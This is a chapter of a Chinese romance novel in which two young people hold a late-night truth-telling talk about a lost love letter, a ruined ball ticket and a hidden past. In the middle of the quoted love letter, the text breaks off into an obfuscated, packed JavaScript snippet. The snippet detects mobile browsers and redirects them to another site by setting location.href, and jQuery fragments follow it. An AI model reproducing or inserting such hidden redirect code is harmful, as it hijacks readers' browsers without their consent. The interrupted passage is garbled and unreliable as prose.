从窗缝投入的微光在地面流淌，一直蜿蜒到房间的门前，在两人之间投下一道银亮的分界线。
苏棠迷蒙的双眼因为受到惊吓而瞬间清明，昏暗的光线中，她看见周既明上身只穿了件黑色背心，紧贴的布料勾勒出分明的胸肌线条，手臂的肌肉在微光中绷出利落的弧度。
她喉咙带涩的一咽。
就不该把他留下。
如狼似虎的年纪，孤男寡女共处一室，谁知道会发生什么？当然，此刻她更担心把持不住的人是自己。
周既明拿起挂在脖子上的毛巾擦了擦额头，苏棠才发现他额前的碎发已被打湿，整个人笼在一层潮湿的水汽里。昏暗放大了其他感官的敏锐，她清晰地捕捉到空气中浮动着一些让人躁动的分子，那是从周既明身上散发的、混合着沐浴露香气的温热气息。
“那你调低温度不就好了。”她吐槽道。
说着，便进了卫生间。
再出来时，周既明已经躺回原来的位置，并且贴心地为她打开了床头的灯。
她感觉温度没变，看了眼空调的控制面板——还是27℃。叹了口气，把温度调到24℃。
苏棠向来没有睡眠问题，但很忌讳一点，就是睡着以后不能半路醒来，不然，就再也无法轻易入睡。
翻来覆去好几次，她不仅毫无睡意，反而越来越清醒。
“周既明，你睡了吗？”她忽地开口。
“没有。”
黑暗中传来周既明清冽的声音，平稳的声线透露着他此刻同样清醒，且毫无睡意。
苏棠：“我们来开夜谈会吧。”
“夜谈会”是朱雯雯给宿舍夜聊起的名字，她们隔三岔五就会开一次。规则有三：一要大胆，问出心中疑惑；二要坦诚回答，不许敷衍；三要玩得起，聊完翻篇，不带情绪。
她给周既明简明扼要地说明规则后，问他要不要聊。周既明迟疑了几秒回复了个“好”。
为了显得自己大度，她让周既明先对自己提问。
黑暗中传来一阵衣物摩擦的悉索声。周既明撑起身，将枕头垫在身后靠稳，朝苏棠的方向望了一眼，只见一团乌黑。
他清了清嗓子，终于问出那个盘旋已久的问题：“你为什么要拒绝顾野？”
白天她那番星星月亮的比喻，他其实并不能领会。按他的理解，苏棠或许是有些怯懦，觉得自己和顾野并不相称。一想到这点，他心里便泛起一阵细密的酸涩——她明明这么好，凭什么觉得自己配不上顾野？
苏棠有些意外，她白天不都说清楚了，为什么现在还要问？
她用大白话又解释了一遍：“我不是说了嘛，喜欢他就像追星。我喜欢的只是他闪闪发光的样子，真实的接触下来没感觉。他人是挺好，可我就是不来电，还不如远远看着的时候心动，不就拒绝了呗。怎么了，你盼着我和他在一起啊？”
周既明听到想要的答案，心满意足，连忙否认：“不是！我怎么可能盼着你们在一起。”
苏棠轻哼一声：“也是，你要是盼着，当初也不会搞那些小动作了。”她顿了顿，问出自己的问题：“所以，当初我写给顾野的情书，还有顾野托你给我的球票，你都藏哪儿了？”
话刚出口，她就意识到这算两个问题，补充了一句：“先说球票。”
周既明深吸一口气，只简单地回复了一句：“我没藏，你记得有次下暴雨，我浑身湿透来找你吗？”
苏棠当然记得那天。那是她认识他这么久以来，唯一一次见他哭。他浑身湿透，又哭得不成样子，她当时只顾着慌乱安慰，连他来找她的目的都忘了问。
“所以那天你其实是来给我送票的？”她有些惊讶，原本一直以为是他故意将票藏了起来，“那票呢？”
周既明的声音带着些无奈：“被水泡化了。”
“所以你不是故意不给我。那你为什么不说？”
“说了，你大概会和我绝交吧。而且，你当时不是说......什么都没我重要嘛，我......信以为真了。”
苏棠完全忘了当时是怎么安慰周既明的，甚至惊讶自己会说这么肉麻的话。她想接话却支支吾吾说不下去，干脆跳过：“你问下一个问题吧。”
周既明：“你为什么会和我在一起......重生前的那个我？”
苏棠一愣，她完全没想过对方会问这个问题。
“呃......怎么说呢？”她感觉自己心跳快了些，想了半天总结了个理由，“因为他对我很好啊，而且他不喜欢程望舒。谁会拒绝一个对自己好的人呢？”
周既明怔住了。她用的主语是“他”而不是“你”，一股强烈的失落感毫无预兆地涌上心头。也许是因为发现，在她眼里，和她相爱的那个人竟与自己毫无关联；又或许，是后悔当初找了个蹩脚的理由接近她。
按她的说法，如果当初他不是假借喜欢她闺蜜的名义靠近她，他们......是不是也有机会？
“到我了。”苏棠见周既明没有作声，自顾自地问起了下一个问题。
“球票的事，算是意外。那我托你拿给顾野的情书呢？也是意外吗？”
周既明忽然想起那个炎热的夏日，他在茫茫的废纸堆里找那封情书的场景。
苏棠托他转交给顾野的情书，他确实送了，只是阴差阳错被当成废纸丢了。
当时高考刚结束，宿舍里一片兵荒马乱，大家都忙着收东西回家。他将情书夹在顾野床上的一本蓝色笔记本里，并且叮嘱顾野一定要看那本蓝色笔记，里面夹了一封别人给他的信。
当时宿舍人多，他没敢提苏棠的名字。
谁知东西收到一半，整栋楼开始沸腾起来。宿舍楼有人冲着阳台高喊“解放啦！”，随后把撕碎的试卷和练习册从阳台抛下，瞬间引发狂欢。
他们宿舍也跟着起哄，把能找到的书本、练习册、笔记本通通撕碎扔下楼。等周既明反应过来时，顾野床上的笔记本早已不见踪影。
他急忙问顾野笔记本在哪，对方才发现东西被室友当废纸扔了。
慌乱之中，他飞快地冲下了楼，一头扎进那片白花花的纸海里，甚至还劝退了前来打扫的宿管阿姨，承诺自己会在离开前打扫干净，只求先别清理——他有重要的东西要找。
他至今还记得那天下午，阳光炙烤下蒸腾起的纸张气味——是一种混着纸浆微酸与油墨发酵的特殊味道。
他跪在堆积如山的碎纸片里，徒手翻找着那个淡蓝色的信封。指尖被碎纸边画出细小的血痕迹，白色的纸屑沾满校服。有几次看到相似的蓝色，他心跳骤停，扑过去却发现只是练习册的封面或广告传单。
最后，他终于找到那个信封，却发现只是其中一角。于是又埋头继续翻找，直到落日余晖，才勉强找齐信的主体。
信纸连着信封都被撕得四分五裂，他小心翼翼地拼起那些碎片——那是苏棠的心意，此刻却破碎不堪。看着那些残片，他心头一阵刺痛，尽管这份心意也并不是给他的。
【顾野同学，展信佳。
你或许有些意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703664|179806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外，又或许见惯不怪......像我这样平平无奇的女生，竟也敢提笔给你写信。
但有些话藏在心里太就是会发霉的。所以，在这个高考结束后的晴朗日子里，我决定将那些已经潮湿得不行的心事，摊开在阳光下。
我，苏棠，正式向你表白啦......】
他一字不落地看完情书，读到最后，心头到喉咙都酸胀得发紧，整个胸腔弥漫着一种不可言说的苦涩。那是他第一次体会到，原来吃醋，是这么残忍的一种感觉。
他将事情掐头去尾地对苏棠阐述：“当时我把情书夹在顾野的笔记本里，也提醒他看了，可后来室友们起哄扔书，把笔记本连同情书当废纸撕了，全扔下楼了。所以......”
苏棠忽然想起，高考结束回家路过男生宿舍时，确实看到楼下白花花一片狼藉，便相信了他的解释。
“只能怪——天意弄人呀。”她感叹道，停顿几秒，又补充一句，”那我只能勉为其难地原谅你吧。”
身旁传来一声有些宠溺地轻笑。
轮到周既明提问，他只剩最后一个问题：为什么苏棠发现他重生后，不愿继续那段感情？他从未想过那个没有未来记忆的前身和自己会被割裂看待。
所以苏棠是对来自前世的他毫无感觉，又或是觉得重生回来的他不如之前的好，所以才不继续那段恋情吗？
可思忖半晌，他最终问出口的却是：“我回来了，你开心吗？”
“嗯？”
苏棠的眼睫蝴蝶振翅般颤动了一下，无意识地咬紧了嘴唇。周既明把问题问在刀锋上，她一时不知如何回答。
“开心。”她给出了一个简明扼要，无法继续挖掘的回答。
周既明听出了她语气中的不确定，却没有过多纠结。
她说开心，那就是开心。
“到我了。”苏棠连忙转开话题，“你什么时候喜欢上我的啊，藏得够深啊。”
她故意用戏谑的语气，想冲淡此刻的微妙氛围。但气氛并没有如她所想那般，走向一个轻松的境地，反而变得更加凝滞。
沉默须臾，周既明缓缓说道：“你是我的浮木，尽管，你湿漉漉的也快沉下去了。”
不知为何，这句意蕴幽微的话，让苏棠浑身一颤，仿佛有根极细的针尖扎进心底。
“同样是失去亲人，同样身处困境，你却总比我坚韧，比我更有......方向。你甚至还有余力去照顾别人，哪怕显得有些老好人。我看着你一次次挣扎却始终不放弃，说实话，我当时很看不起自己。”
他的声音沙哑，像哽咽般停顿片刻，“外公走后，我觉得活着，或者认真活着，已经没有什么意义了......我身边空无一人。可那时你却对我说，就算全世界都离我而去，你也会在我身边。”
苏棠呼吸一滞，再次被自己当年那句无心的承诺击中。随之涌来的，是比先前更汹涌的酸楚——她竟迟钝到此刻才意识到，那句话对他有多重要。
情绪正弥漫开来，她却发现有些不对劲。他刚刚的话是什么意思，“同样失去亲人，同样身处困境”，他知道她家里的事情吗？
这不大可能。
就连先前的周既明，也只知她母亲身体不便。前世他连许春梅的面都没见过，怎么会知道她失去亲人，身处困境？
“前世，你连我家都没去过。怎么会知道，我失去亲人？”
“因为，当年我目睹了那场车祸。”空气沉默了几秒，“当年那个举报肇事者逃逸的人，是我。”